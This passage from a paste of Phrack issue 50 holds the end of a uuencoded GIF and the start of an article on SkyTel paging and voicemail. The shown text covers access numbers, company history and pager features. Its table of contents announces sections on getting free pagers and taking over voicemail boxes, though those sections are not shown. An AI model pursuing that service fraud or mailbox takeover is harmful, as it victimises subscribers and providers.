  8162. begin 644 diverter.gif
  8163. M1TE&.#EAL`*S`8```````/___RP`````L`*S`0`"_HR/J<OM#Z.<M-J+L]Z\
  8164. M^P^&XDB6YHFFZLJV[@O'\DS7]HWG^L[W_@\,"H?$HO&(3"J7S*;S"8U*I]2J
  8165. M]8K-:K>`KO<+#HO'Y++YC$ZKU^RV^PV/O[?TNCT(N.OI^;W_#XC2%TCH-%B(
  8166. MF*CH<+CH"-3X*#FI%TEY26.)N<GYI-D)*A@Z2GKT68K:<9K*VNJRZAH;`2M;
  8167. M:ZMZFRM!J]OKV\#[&QLL7-Q+;(R*G,SLNMP,^@P]'2I-?6E]K3V9O>W8[1U>
  8168. M^.F54(YP?I`NC@7._EX)'-"81S]O?@]_Y:[?GZ4Y**"Z@08$%O1'A1_"A5(`
  8169. M$LP'T6!$AE$44KRXQ)*]_HWX[&%D8O&C2"(:.YI$!_&@`CDL6[I\"3-FR%TC
  8170. M:_)9P!%ESH<H;4Z8.<NG4"LE=9X<Z!'?4`A`F2Y]"J4HTJ,'D_:$RJ#I`ZU8
  8171. MNZJ0*C'L0ZE>E;;@6C;M"+!CVZI,R5,MW*]RZT+"";<>U7MDZZ+-:C=PCR[F
  8172. M"*,SK`YQ0<7S_HISO%*PY!U@$J>KO/CRE\EO64#F##KTC,]719L.M+DPX\:K
  8173. M#Z]C^IIUI-19:2<A'?>T[MJ'6AL)XWH=<)QB9F'.+/RX:N6_7^#>3;$X:Y"&
  8174. M$5L/B)UX;UCGKB?^OEC[827/YT(_/]<WR>SAP2M>S3AV8?"-Q]>GCW\ZDO+E
  8175. M_M$OG`V@3#"I1MQ\\=&C$8"9%3C>@?.MU!\NK_A'87H!"NC2<IH9B."#'KHW
  8176. MW'W?.6C?AT7P5Z%_LU$WG(,DYM>>4F/$&-Z+-,(X!(HIGK=B1MO5TZ&-(I;(
  8177. MX((N=D@DCD+HN.-N/6J(H1PF$G;D@U0F:-Z0]55IWY4%1J@!DTV>]F1P44J9
  8178. MI)<@EG@EDJUQV=Y[V;U6'9@8B#FF:&7>AET?WL7XIV9^;@=HG?3]>9^@-^+A
  8179. M7)ZZ[;E?B"'*)N=QTL4IJ7*37GIICHTZ"JHI=,9FFV77D?HC@O#)9VFIGDX8
  8180. M:JRR9H#GK+;>"ABLN(;:JJ"G_FIG,[7NFN*!JA+H_IJ)?GU*;),E[5357ITM
  8181. MJVNS%;+UEEC9XA78L-9"A^U$VXYK%K5G?7LMMU,9Q6YN67;E+;JF]:57N]&6
  8182. MYJY7\<H;&KUY_6M5OO`R6\69!A^,<,(*+\PPANK>NV[$TR+7<,46JT=7M0GQ
  8183. M6PJT?.T5[!YV[FL(QQV[)6[*(8L\&L$;FSR*MBJC+&S+&D]!C*O!08CQSCW#
  8184. M?*[']4I<LPPD-Q',I&:F^C.E30/]E;'(6G;-R"[CO`M[$!ZJ-3!^0FVRU3<W
  8185. ME'6212J[-=@PBWWN/L:A#?>I::O-,=N>M?.VV5,GNV"B2M.-J]TKK&P"+4*:
  8186. MJJJ<(#('^*V"9TQ4WDIN_MKJFHW+^W@*A)=@.)*,O&DHII=C;G/;D<.F]]E=
  8187. MLO?TZ(YF+HK;DB/JII6L;^ZZ3;"?@/M:6=M69XN<"I^[M;L7CO?OGE.J(8&M
  8188. M%_]ZZ7?+#GWUO$L_>/+6;^^[T5>3S7WX(!S/N?;BGQ\F]I`7W'VYZ(>MON;F
  8189. M?]#7^_R23T+O(@!5O_WHXM\^]NWO8?XCG??&5I$`"JR`NP+@`*DW/@(RT'CQ
  8190. MB]WI0M"_"3:P@M>#(/TDJ,$-'M!T`L0@"$/H.`XBSX,>R"`*9^5`$[)00NY[
  8191. M80I'.+T+1C`R-B16#'=8L.?1A(<]#)P*RT>4*&GG8DP48A$3\<,/)G$F+OS'
  8192. M_A-)$<46QNR$6M#?%1F%P^Q5@XM6_&(TCIB_+1+Q#EXTHP^R2,-.5'%^;J0$
  8193. M'#DP,L:A+E=OHA49Z5A'2=QQ`WG\V^?DH27Y#+&&-PDD)@:9/J/-J&P,JI0U
  8194. MYCA#1RX"DGZ4)-Q49SGD=)*17-`D-M"HP%=XKE2,(\,GG;)&.[31E#?@Y)U&
  8195. MTR?$(6Y5G=(2!3"I0UIN$I4/C$&G#%49WPP*E#_Y8R:%20A;7J"04BO'AJ"T
  8196. MJE'BJPZSA"8QD4A"YP"):6I:U"13IT9O*D*:%LACWYA'(]`MRI<G4^<ZOPE$
  8197. M&,A-1,'3V:"PY`Q[WC.,ZQ,GWS(%)&XILYLG$B@4_O$I16.>0F?T7"8SL>A0
  8198. M1+"S`@R]2$<S6E`$=C`:V60C2*,)42V>L3.*!.1)99G2.#X27TXLV4O_L-%?
  8199. MKK0V\;BI'W+:3$ZLHJ9(\^E/8XI'.6Z%94;MJ3&_)\BE.K6IW$0J(97*"*92
  8200. MM:H$E9]0W??15&[5I6(,YREO%-9BCK6+5HVD'$FEU;66\:DBM55:Y7K5KEJ0
  8201. M@GB=JSZA>D-`--$,!J2K644H6![<U1]`721?$TN9POZUKC!$:63_UU9M^O!=
  8202. MC=3!8OO1V*`\]K,R]*QD`;O"S6Z3JZ;%K%Y':L18LC8'I(5':&$96V>6D+:G
  8203. MI6P:<YLKF%XVH%-%+3@K_HO;SO)6%:XBZ@\@5<K7IE9621-N:Y.JGW=&)6#*
  8204. M->YOJ<O1V>*`'U9Q[G-7&UW#YC!_+5UA'[$:WO0N%[L\,>\;2Y.<VDI5O67=
  8205. M7R]C)[6OWI*MP\UK(O6;5;<8!,&(Y&](6[C/J,6SO0/5[&['"V&X"K`ZL@6?
  8206. M@[WJ7U)RSJ*BG"E]@UE++;[W91)9H$T_O%?Z84Q-P-L0J\XYSV&J%,4V(*\Y
  8207. M3]?BB7EXLH?%XU`WTRM@\5)I]B5P1%]6X%'&9Q_6(4B0/9'9`6.P3[\2G=\P
  8208. MY9"*,CC&.\;:8$Z<DC$?<F<E'K)WQ6ID7?;-FFW23_!XUDHU'[>T;KZNEG4[
  8209. M_I3;[G=\"BI4,HF7W5V6]!NPC<I=5`OC1D-X:L"2,Y@K"5"3)EC2(KZOIR%-
  8210. MY/42VE1<&]'M</3/BSJYP]_E67/._-A0]Y?0E%L:Q4C\WH7B%-!/)G5#%>O:
  8211. M2$_7OTVKL1!)_,I5<W;/>CQOE&6A9]$*>\_]<G%J#>GL^=J"PHZ6+K6K;34<
  8212. M@Q'#OS36A3[';9)\S*]O5BN9:E`&=9/[)]UA<K/%O1^51+O!LGZP9)",2U>^
  8213. MJL?MK'>F4*VXC-`,RENA:+*%3.:*-!EGJ8G0&>2=8GJCBE`P"G!1Y9M@"J?[
  8214. M:#[:=YC.R9^+#SSCL$DHI9<G9BR#G-_++G:[^63R_CL)'.(C1L/*6;[F11\8
  8215. M;1,G^,R#R_,<=_K;"?RIRM&[EC4L"=AK/C#'\R//%[.[P95Z^+);S7!9/GWI
  8216. M&5;#U*F^1+3"_'#TS/?1E]B;^CIVUF;F@]0E:?9Q/_O6BDK3,N4YYIS37![O
  8217. MP>_<_=UM+K"AEF.'>K^UK6A$X<<[HU+ZSY\I(RYS%^ET[W,[[M[CQG_=MYG8
  8218. M8Z)+?>DY,UCPG.?ZUUH/^X@WG9MI&,S.1T]Z;Q>*-_FES7]?K6R:#RW-AP?Q
  8219. MA15/V#>B'.U[/QLY;NPK-;,>T`"A4_%EGWBQQWM)%8=U\UDQ?59W'OLRK\3V
  8220. MN4^E3T,>VMW-/9_#KOW?_NO]^[I71ON+S.G9FQ3?4Y]E[\(/;_<G:HA7?M:%
  8221. M;>7V,T5W94`7@+X`@(YG?..7?=W5;`C84NF67+CG?A'((H/E@;4'9Q(X;'5W
  8222. M?PX75$K79,"T@1Q('@+F;BM89O!'5ABX:=/2-=,T>*6W?K?A@GRF1S]8<?YT
  8223. M<SPH@-8F;1&1<'_&:P0X;9<750'42](Q25$XA&X7?.R5'&2'9ED&=E9X5FJ%
  8224. M8S,R/)M2A:;P=E#X>A`8@_57AO1783[(99-W=1.FAB%8@#S&;!,#&2OC18'7
  8225. M@_D48$DX=)/7AK^&>0J4AD:XAH5(?D[X"$TQAUZ6:"\B'(SHB!-H?%=&&L'2
  8226. M_H<?9V)@6&A1F#C6!X/`)X."`#SBUX7XQX4Z^(EPF#9_8V[P88EG=XJ[UH2/
  8227. M9XIVU&HE=8''$GOYAXEWJ%&Y6(M&]XJ`N$H3!7-:^(*>YXF,=HRKN(O<T(L_
  8228. MHB1J5X,BJ'7$J&.LR(;9]H5P6&M>\THDIW#Z9XW@:(SBR(MHV%S,>([3Z(X@
  8229. M`5],V([J]X[/.(`LJ([I&'7EU'!P-XIHL8E%ET]$F(R]5HI;"(UFV'-(MCR@
  8230. M@U`5*%/^F(_>-XX)V9`&=GQ>&'79(HA9IWKRMXC"2(^M>(47R8YVV(T@&9)S
  8231. MTW=3@FQMQY"-V(_5&'\?R).@%U]XB'&%DVE!R%-4_C.((XB2+?EH1W5]#IF3
  8232. M33EHMS@X:(**F$%G]<9[OI=+FM.3#!.-Q;6--_F41ZA3AXB14"EC5NDE=4:0
  8233. M2K:'2GF6EWB&JNA6NHB6.?B/':F()\=3;=)/<OA/")F!<3F6<KF22UB6&>F,
  8234. M=/F5TVB0U6=P@8EU?R>8>(F4BNF&6V>9'FF)T@"`G'B2DY9V;38W7D:#2DB8
  8235. M<*F/FD:68LF-47F"'ZF:L"ECO.=KSA<ZI\>10OE_C6E=Z$:-KQF6=VF/*JF!
  8236. M'/5\YS@\?/-^.&F700F6C,F9>NF99"6<B3F5R,E*CO$<G5B<3+F9H8F/P]F:
  8237. M#WF=V/F(*=F<$`F>B(F:_K.YF/$)DWH9GI!%GTQGB'$EG4YYGNZ9="]YG\%H
  8238. MGP'JDK:HG_+YGH5)F^69E_`9F^,0C@[J9]&YEW79F0DZC!)*G$4XGNJ)F0VJ
  8239. M;R:(H1TJH.29H0HZG0=*H/R8GQ0ZF;N)HO59HKZIH0_JHC&ZHA$JE4?)DCCJ
  8240. MG\<YGS5JH^+UH<ZYE"IJ92**@SJ*H/])HSYJH1PJI/@)G:SYHS_YG(.YH2UH
  8241. MG`MJEE#:GQIYH]S95M7YI4FYGG4X;S,ZI<%9I;^YGRD*IFH:IPI9I!AZF@UX
  8242. MI53*I)EIG8%)164ZH@#:IEAZFTZH/]X)D$CZHJY)HC_ZF:XH:A8IIHJZ@SI)
  8243. M_J0T":-AVJ1`RIYWZE8'F&UM9*EV.J84PZ*/6J=T:JH>JE/\QRC^QWRM"J>=
  8244. M:JC4.:A/RJFT9I+U>*F22JN96J$Z9W'.9:9`N:MEUZN>94VKB8Q<VIZK.DV5
  8245. MB8`6MJ7!.J?,=7Z0T'VSFI9=^8'"&J)YVG(2=4FY^IV@2JS;2AG+YZ=+:JW5
  8246. M^(`0R';QFJQ.RJ:+FJ4!*7J,%X;OVDYRVJ*>JJ^E:9/H>ID,JJ4@>J_KZG/^
  8247. MRJX$BZ8(*Z-'BJ\GF@^4:J^J.JP=BZG9ZK`/"V_]*K%\NK$*6Z7SND"?<4?'
  8248. M*IL@&[+)9ZX@:+&.ZC7+RI4X"UW(NHDQY;([FII8_ABQ%TM(BS=_-KLWV'@6
  8249. MZG&!TEJPK-JCG/JS)+BOO!FQ+.N3SAJU1*=J6T9O$J2R20>H$YNP^>JT`YNC
  8250. M)_>OGD&S-2N>`D,.1EI#._NRVNBF0>NQ)6N8>%N5DB).,GNT;SMC5>>U.K=-
  8251. M85MSS;BICSJUYLFQ.<MA^@2X;KNUW+&P40JO="N58RNW=PNU>?NFA4ILP_>W
  8252. ML.JMH6DX*!NP*J6Y5&NK_-FAC<NPCRNZ:HNS:PJCO*"[:TBN$`.Z04JTJ1JT
  8253. MLHNQM)L]X7:[N"N6NZNZ-MJ[Z_:Y3_N[A^FEWEB[Q61QN_2Q*5I=UPI[Y"J$
  8254. M'(JX\'JKCLNWX80G&CNA_@R9,^A9OKIYLX<KKL$;O]5J9,@@<A2+K0V+E+B1
  8255. M(-3:N>[;OD-*P-S&*F>[O_0K'O9;M/C;,\1KO3"+GRQ;OZ&+9OC[OI?[BT/U
  8256. MNI]:P07GP.Z0I_E+OD`;P'%)IB:JM1>,36W0J<\7('.'N-VKO],;O99;PJZ;
  8257. MML;KO7NKA!?B!F<+PT;YH#-,P#VLMTV*PZN+K#S<ITALH("8E5G;L<RHI/QF
  8258. MQ%"LP$E\PY=;O80JP4_\Q=)[8C!,Q54,G!Z9Q<VKPA7+QHP)P6#,OUT:?I#H
  8259. M>$9KMBN;@M$+K5[LQWD\QLX4Q[KJQ,"*N;.K34<FLH#,6<]K>%+*QUNL$,^P
  8260. M_L09',%S;,@YK,-QQ!TD^[E67,:T!ZZC/+1OW,=52[E'C,A_UCFWY\9Z#`YQ
  8261. M)XTUO,6,S,6O#+R8K*=,;)UUJ;NFBZ"@K,;I>;*V;,M:$:E=VJ=A:\=[F;R>
  8262. M*LR^3,RT?,N2;++IBLI1_,>K3+XY<\5H?+..+,O?J,G;C,3(W,OGF\H(G,":
  8263. MY<T#S,LOA\&1G,YM;,S^B<YG6K:Y;,,>W&L%&<1\/,1[XR&;9UG4/,GEO+5R
  8264. M7,AN.+ZUG('SK,HFNL&4UL%P9VF^.M'W[+3YW,3JK,W]S,\6!L^F?$(&_)>M
  8265. MNZ3=0<\-2\E(NZ>!3,:ZO'</+=*R5=+F''LT"!PJ_AW/*BC&U5S,UPNPUVRJ
  8266. M-GW3C$3#.IV#IVE(@;I:#)4-@D;-:$O4\X7428U>S,O48>G4`'?11$22?6NP
  8267. M]$S5"GW)#7U>6:W5^<+5,CV87^V[$!W.88:*^,6TATS3;TO((+V]D(RG;&P1
  8268. M"9T>`Z1,LR:(KWO6\;S)81RX5KJXE<S1DTTN;5V3`/R]Z#35RBRP:>W75EVK
  8269. M@CM1A#MJAIL;4,U//;M&>3W4^[S#Z_O:L`W9,!VWE-W5>LC.G.=RG3?.>[K8
  8270. MELS0GVW!\ZO77%O6[/6U./V,SVRMO<W.O^V^YGO"_GRCQ>UJ]879:;S`8/N1
  8271. MSJW8G&W=?3W=?SV7X=V6_MFM<:**VPD1,*/=VD:]UZ=[U;(=V@M]V\\V?576
  8272. M:9L=U`6*S:Y:U!]=U6U]-77,'.X]X'P]W\H;V[]*W.]MVX:\QO=-X-'=WX_M
  8273. MV.L,V--*RH,US6@MW/X]TVJMT?6=R>1=C!`NXO$=X"M^RHP*WAH:CP\,F>@-
  8274. MW'#MN0O.@`!.WP^>S2O<<,:6A=H5>;RJL?RMKFE:O"$>TK/]K"UGXS=>E*F-
  8275. M>M"'3@Q\W;X=XPG>Y!E>XCY^<\"<C0IN>@4]3E-.Y,B9W-]]X4KNV>,-VF">
  8276. M>T.NW3E>YFQ"46,MY<JMXL+;X#O^YX#NY+M,VEB9Y79>YT1\;YE6;K3BW1;.
  8277. M_N*='=QP/MP;3GI9)SR1N;B45)J+WK6VO8`;3;:1[N!14\<'7>KSU$]7Z9<(
  8278. MV0VZ9FO'?6Q2A.0_SN0:[N4M;L)OANF$$B@*J+;;72,VAB5OG>8T4>L\WN<H
  8279. M3NJ$#N/UU^L-@FS`3JS"#F:4Z2:I2]#-E.R!SMC2G>L,/N@G3G33[G*)O>SP
  8280. M>V-&>6>JIZ7@Z\AT;=\Z_N3D/N+EG8N5MWM?-N:0CFYJ>7"+HY64"ID:9]9;
  8281. M#N)(T^$+/P>H(=]9?DV_GFKSCF=!Z+?_KGD,BM)`'=.PJ^P?7A:EBO&6E"I.
  8282. M`],67-'VC,M^3N_D'/(/C]&IH^DG?XD;I\70+>K#_F`7(F_:'P]8,WGS"/_M
  8283. MN<#6U-OF!SOJ_A[6L"S.7.[QWHX:4>X-/,_LKQH4A,T;3Q_AZ0[?]2085!_G
  8284. MF;M?/O;!58WS6OR'YI+J&%["M=W/T9SN9V_2&/5OL_K-5VZU+0%"_2,@6M_Q
  8285. MD@[U`[KS=@_O=Q[%;D^_<&_V0K_G]E?W-3VM06Z%'*S`BI_P6^_T;DY<7W^Z
  8286. ME*S(/)BZ+UWVE__WYCV514_I(L'S<7BH78>JLB'M/?["(Q_WC&_PQS`9(K_J
  8287. M@'H[%M_J&3_N0#_W+>WWINZ`N>^MH:/\N7EJJ7?W#VGS4WZN1_\1J(_O_=;N
  8288. M=&AU%I5P\?[?1'SHV37]_DFN^LB/WYS;_9K'_1PG]1J]\:+4[2UO6^:_OI8T
  8289. M),N__MK?_EK+T\ED^@00'U,W@5\!.2&3SX5[9JX?#,61'+T23=65;5WLC;GH
  8290. M-"Y*V_0,W_E=%A1":K9-J'-,%8=$5A*'9-J,G&03FS5IN5VO=_J%(3JYLCGJ
  8291. M.Y>A5O&;5(R"KF$ZO/&$*BM\=^X/$&_PQ8[P$)'+D+"&[<Q(Z0@($G(Q<5#.
  8292. MCXA'8\4RZQ.C,513L+3T,G4A5+75]>ZU,W86C[6/2L562+=AU(KOJG=OE9<6
  8293. MS!@Y>76V6-D9]FDF%[&YBK+28UBX3?A9M=H['`M\7-R\!?4CTI-:+]CZQM'"
  8294. M_IKFO-T>'Y,YGW^K1([=(7#O*%%(DXD;&7+]4"QD^-!)+(<0C:7KM6R:0#UF
  8295. M%-8YX6?/J(D4U9$T&6.DC)0G7<WI-B\CHXT<L042=/'F-9:@=O9LN*^AR%\6
  8296. M?38)N:C:RC@S:4KZ05#:')=%55*U>DOBDCRX/EY%EO1>KH]JG#K0]*,C5*]:
  8297. MU[;%]:I85VD1W,(-*-.3G4<XMT;25O<G8*]*733+!DUP(K`:$Z\EW#AKY,"6
  8298. MB$)6=%>?9:N/-7\#.AEQ9SB+\8KNR=ETV)89D:;.S+:T:Y.H9=?Z_.\M,9][
  8299. M10TE!G*J3C*8;=>>;1PB;=BX9<VMG"\AFD#1_Z(!_GZ6^&CD))5O[]*=>>#F
  8300. MDTYG,^]TNOGT-BMA7%[<.T/P\<<]%Q-W;%G>)_6CU9VSA['28H*TU^B#[L!^
  8301. MY@LM0;Z".<4_-X`Y+Z>YQ#.P07,6S'"75C;<Z2".SB*OB@G_P"XF##GTYL,5
  8302. M4?+,19OB,2N_LGZID#P4W],NQG!:[#&:5'[DSA?K!CS/HXO6(#"[-X8$\I^C
  8303. MI)R2RBJMO!++++7<DLLNO?S2OMI<(LN"_N)1,B2Z4H0/RC;;?-+-J?3K[26_
  8304. ML-FO0#;=W--%.*$,;L[<3+F1'@C=NU!//A4]T$\@TZ2GJ;^H4XL]09=B;-%,
  8305. MXVO444D-(6@_Z>C<:D<G_C4]5<PP46TK3QY7?=4R3F&5#%%79[W5+5EQA;'4
  8306. M^W;]=3!@-6O55&&-!?'8QHCU-=EFDW,6L&6_T!7::L.S]BIIC\&66Q:[S;9)
  8307. M9K\=EQ9JR1U"V^_.77<U=EE*]S)WY<5TWF?7M+7>?-75]R%XM3"77V<!#KC,
  8308. M+4NBE^"$7U2XKB>1"BY>OU1E>+N!*?Y7-1JBV]?,B__T.)DK17!8%`JGC1`]
  8309. MD/M4&5R$%2(5C`CY8KE!BVFNRF7AZE$C+0E'K*[2F[VSF>:CKDT4TM]F[&\H
  8310. M.1_M2.B:HSXMX_0.F@1K_R"6^>6I&?7ZW:H+?21`&LV.5&?KG`;[:[:Y$[O"
  8311. M_IO,-'O)M)].VVW9B,[[TMBZ)E1NLO?RX;\)]^9;2,3[A3OPE`-_'/*^)%:\
  8312. M8LH59/QNB<L.,&B9[[9\6-`1S+EG=:2">`S-0Q5=L,-9/Q3IU_5U7?;A2*]]
  8313. M7MIQ;TY%@2:6U_!Z,M0==Y*_^;THU'TD-3\.B:_=>"&1I]I2V.VRL$BI=W\F
  8314. M^L1%$Q"KBBP47OOME>G^DN?C'9_W]B/[5'WOS0^9\=X3:X3WITS>):[J;1]^
  8315. M?N>K7^Q:IQY9:(TKZ$(>)R(2)>4=S![Q8QWZ%..:!U&A*[19H/_8AX3_Q6%Z
  8316. MZ0L@_6YGO\XPT"S#T6#_VH>_PN`FA>>0H.@H.$!E_A$J@XI@X7A<B(Y+,5`<
  8317. M,P1=#4MXP[_5H8,O#$KI/B@6?XQ'0R/\B@V+]3V0P&1U/A1@K[@G1?$5$5_?
  8318. MVIN_ONA%6A'0A-:R60C=MSPSGG$T8)(CI;AE,3:VT5MOO)X>1:BQ.5KI/T&*
  8319. MX!\)64A#'A*1B53DE_A8QFUMXX%C:.0D8]1##J[OD>BBY"979$D\[FM:/.'D
  8320. M*-LVOA\MB#-").4J(Y;``_H-DQUBY2Q-@T)7GK**FJ3E+F-U2U>>+(:^V88?
  8321. M?X/!.ZJ)E\F$#B-?V<Q%4NE.(CF=X):D2&5>,X(!L64S@7E`3ZUG;'2))#;)
  8322. MN1MM^O*3L:1)."%%HDN6_A.>5%G,-H$8QFFBK6M7C.<^6:5$4\+R.HZ#!]GX
  8323. M6="6"5)0N(0:)-FSM!X8%*+FU.(_,70=Z9BH9ZJ,Z$:M1Y'F_:U$V7N91CE:
  8324. MTG?R`WP@!82==$-2DW+4I>YQFLE29J.8OA2B-V7>%#Q%S37@%*@RI!X'\30F
  8325. M@@85J5U$EKB2VM1R#3633I6JAZ`*RJE>M8]A8RI6N9K&RVVUJV$-Y5+'RA\Z
  8326. MKM,9,PTAA`"5Q2RB527'-.O^2M8TG<+1H\_<6%[W"E>4R!5PT11IR1#"&Z!%
  8327. MLV"%L!$ZBLK&<18LH("[VN0$JZF[^C-61ELH_U(RS9[J!2J:59M1^^K7)2S6
  8328. M_AV&<^ST0DM-R0YN;H\MWPD!*Q^FQ2P(I-7?9I46/)U<K4YL52QOQ0);V98I
  8329. M+\:U3T*`6Q,^7=8=M)6F2D'JUDI9-['"%,Y;1;5=@VCNM74=V:A,R\3>(DFU
  8330. MPZ0N=ID+JI2VEZ[=?5-JCIL\B_[VH_`=;<<*(MS`HI6[QNT&:>T*6OW^5VV(
  8331. MA608X#M9!^N/OR)R*'KW]^"G(+B^0[.@%0E$.`!#N&/<^*Q_VV,Z^%'V1@3>
  8332. M+UL/[%<15^>P*:9P@2O[XG?8N''-7>=W+XRW#",'N@B%3%M[W-RR.==(D8*P
  8333. M>/%6S$V`MST^%2R+<9RTIDT9A\+E\8Y]<^0D>_G&_C.2<(5MNF4?U[:7].6P
  8334. MDXV\M&L(N,2;>S)QF9S=(U53&YYU\IL]K+'-RKF\6S;S@$P[63Y/3M"H;?/9
  8335. MSAQDKT9KS7[>,>$TJ^(5-SFPCWV@6FV<9]^^!+^,EG2HL<QF&H4:SRBNM&_/
  8336. M-&DR@SB^F';>AJ5+3%<KN<JO]?2)Z6QG7]]YP?$ELG9C_&&:?B[+8![QJW-]
  8337. MZ#[K^,$8_K%Q''VO^]W7V%X>-:GW[&M`;;O;O_[SIQ>J7%3<\]!26#*N7:SM
  8338. MK;&ZFKK6M8X1W*-J<[%AJLOT@]:A,WK'&M3>17&=E0;9<?]L8V=%MY*;6.Y%
  8339. M-YK;;U&Q:R/N6;J>M9.T_AZ6E'@;YETS=-6\OC.<YQSL&AD6V0I6+V1[C&LZ
  8340. M0ILLFTOUI>$*\U?OV\+<G;6:I0LTBP/;;C)'+<%%*U]Q^[ROQ4YPP9_<<@LS
  8341. M.411CGF-5&[IJ%<\O5.^-R;TVG6O?UWIP`R5I:]L8O0&I;#8+OF1_'CNMVX:
  8342. M[GWN[=I-A^KI(IG@:Z<W8:<M5@;96U5]EPC&_1ZUK<<1A"XE?.&%=OA;Z9SQ
  8343. M-W-\Y"F?S<I?7EF"ER7F.9^K)**Q\Z&7:%9%7_K-\,KTJ2<KZ57?^GY]J$NN
  8344. ME[V&)C][VUOU]KG?N9,`J7O?M^NDOQ?^D#4_?.._JNC'5_[RF=]\YS\?^M&7
  8345. 8%?[TJ5]]ZU\?^]G7_O:YWWWOOZ$````[
  8346. `
  8347. end
  8348.  
  8349. ==============================END UUENCODED GIF===============================
  8350.  
  8351. EOF
  8352.  
  8353.  
  8354.  
  8355.                                 .oO Phrack 50 Oo.
  8356.  
  8357.                             Volume Seven, Issue Fifty
  8358.  
  8359.                                      10 of 16
  8360.   
  8361.                          - Skytel Paging and Voicemail -
  8362.                                   The PBXPhreak
  8363.                                <pbx@crackhouse.com>
  8364.  
  8365.   If you weren't aware, Skytel is the largest nationwide paging and wireless
  8366.   messaging service in the United States.  If you want to use this to your
  8367.   advantage,  keep reading...
  8368.  
  8369. Table of Contents
  8370. ~~~~~~~~~~~~~~~~~
  8371.   1.  Important SkyTel Numbers
  8372.   2.  History of SkyTel
  8373.   3.  SkyPager
  8374.   4.  SkyWord Pagers
  8375.   5.  SkyTel 2-Way Pagers
  8376.   6.  SkyTel Extras . The SkyNews and SkyQuote
  8377.   7.  SkyTel SkyFax Option.
  8378.   8.  SkyTalk Option
  8379.   9.  Sending a Message
  8380.   10. SkyTel Coverage
  8381.   11. International Access numbers to the SkyTel system.
  8382.   12. SkyTel accessible by Land, Sea or Air.
  8383.   13. Overview of SkyTel
  8384.   14. Getting Phree SkyTel Pagers
  8385.   15. Taking over a SkyTel Mailbox
  8386.   16. Prefixes for SkyTel Pagers and Voicemail
  8387.   17. Conclusion
  8388.  
  8389. 1. Important SkyTel Numbers.
  8390.  
  8391.      800-456-3333 - Skytel Nationwide Sales Center
  8392.      800-SKY-USER - Skytel Customer Service 
  8393.      800-SKY-PAGE - Skytel Numeric Paging
  8394.      800-SKY-GRAM - Skytel Alpha-Numeric Paging
  8395.      800-SKY-TALK - Skytel Voice Mail
  8396.      800-SKY-FAXE - Skytel Faxing
  8397.      800-SKY-8888 - Skytel System Access
  8398.  
  8399. 2. History of SkyTel.
  8400.  
  8401.    1987:
  8402.  
  8403.    - SkyTel founded; first nationwide paging and wireless messaging
  8404.      service.
  8405.  
  8406.    1988:
  8407.  
  8408.    - SkyTel offers first integrated voice messaging service: SkyTalk;
  8409.      provides instant notification of voice messages.
  8410.  
  8411.    1991:
  8412.  
  8413.    - Mtel, the parent company of SkyTel, presents the concept of two-way
  8414.      paging to the FCC.
  8415.    - SkyTel launches SkyWord - the first nationwide alphanumeric messaging
  8416.      service; subscribers can now receive text messages nationwide.
  8417.    - SkyTel goes international, offering service in Canada and Mexico.
  8418.  
  8419.    1992:
  8420.  
  8421.    - SkyTel develops an X.400 gateway; subscribers can now integrate email
  8422.      services with paging.
  8423.    - Mtel awarded a Pioneer's Preference by the FCC guaranteeing a license
  8424.      to deploy a two-way wireless communications network.
  8425.  
  8426.    1993:
  8427.  
  8428.    - SkyTel offers the first integrated information services - SkyNews,
  8429.      news headlines broadcast to a SkyWord pager; and SkyQuote, stock
  8430.      quotes broadcast to a SkyWord pager.
  8431.    - SkyTel expands its range of integrated email services announcing
  8432.      connectivity to Lotus cc:mail, Microsoft Mail, MCI Mail, and AT&T
  8433.      PersonaLink.
  8434.    - SkyTel expands international services to Asia Pacific and South
  8435.      America.
  8436.  
  8437.    1994:
  8438.  
  8439.    - Mtel announces an alliance with Microsoft to co-develop products and
  8440.      services for the Mtel two-way paging network.
  8441.    - SkyTel collaborates with Toshiba to offer the first PC Card for
  8442.      wireless messaging, the Noteworthy NewsCard, and offers the first
  8443.      integrated wireless messaging solution for notebook computers,
  8444.      SkyCard(r).
  8445.    - SkyTel offers SkyFax, providing a toll-free fax-mailbox with instant
  8446.      notification of incoming faxes for subscribers.
  8447.    - Mtel purchases two nationwide licenses in FCC narrowband PCS auctions.
  8448.    - Mtel acquires U.S. Paging Corp., a reseller of paging services to
  8449.      major corporations nationwide.
  8450.    - SkyTel provides an Internet gateway; subscribers can now send messages
  8451.      to SkyTel pagers through the Internet.
  8452.  
  8453.    1995:
  8454.  
  8455.    - SkyTel announces that MCI will resell SkyTel paging services as part
  8456.      of networkMCI products.
  8457.    - SkyTel announces agreement with SONY Electronics Inc. whereby SONY
  8458.      will distribute SkyTel pagers through retail network; this
  8459.      announcement marks the entry of SkyTel into the retail market.
  8460.    - SkyTel announces SkyTel 2-Way, the first two-way paging and wireless
  8461.      messaging service; subscribers can automatically confirm receipt of
  8462.      messages and respond directly from their pager.
  8463.  
  8464.  
  8465. 3. SkyPager.
  8466.  
  8467. The SkyTel System keeps you in touch with clients, colleagues and family 
  8468. members when you're on the road. Now you can receive important information
  8469. quickly and accurately where you do business. People who need to reach you
  8470. dial one toll-free phone number.  You'll never have to leave a trail of 
  8471. telephone numbers or play another round of phone tag.
  8472.  
  8473. SkyPager Features
  8474.  
  8475.    - SkyPager can receive numeric messages up to 20 digits long.   
  8476.      This can be the telephone number of someone who needs you or a
  8477.      code (e.g., "911" if the office needs you to call in immediately).
  8478.    - Page Recall provides quick message retrieval for times when you've
  8479.      been out of coverage range or the pager has been turned off.
  8480.    - Message senders can broadcast one message to multiple subscribers,
  8481.      prioritize urgent messages and program messages for future delivery
  8482.      for time-zone differences.
  8483.    - Only SkyTel provides 24-hour a day, seven-day a week Customer Service,
  8484.      and all calls are always toll-free. Or, use SkyTel Customer Service
  8485.      Online to contact SkyTel.
  8486.  
  8487. Hardware Features:
  8488.  
  8489.    - New FLEX technology means longer battery life -- up to 5 months on
  8490.      one AAA battery.
  8491.    - Choice of several musical tones or silent vibration alert.
  8492.    - Holds up to sixteen 20-digit messages.
  8493.  
  8494.  
  8495. 4. SkyWord Pagers:
  8496.  
  8497. With SkyWord, you can receive text messages accurately and quickly. You
  8498. know what's needed immediately, without picking up the phone to return the
  8499. call.
  8500.  
  8501. Skyword Features
  8502.  
  8503.    - Receive text messages up to 240 characters in a hand-held unit.
  8504.    - Receive notification of e-mail messages while you're on the road.
  8505.      SkyTel e-mail integration is compatible with various e-mail systems.
  8506.      Ask your SkyTel sales rep for details.
  8507.    - SkyNews(r) news headlines are provided twice daily. Stay up to date,
  8508.      even while traveling, on the economic, political, international and
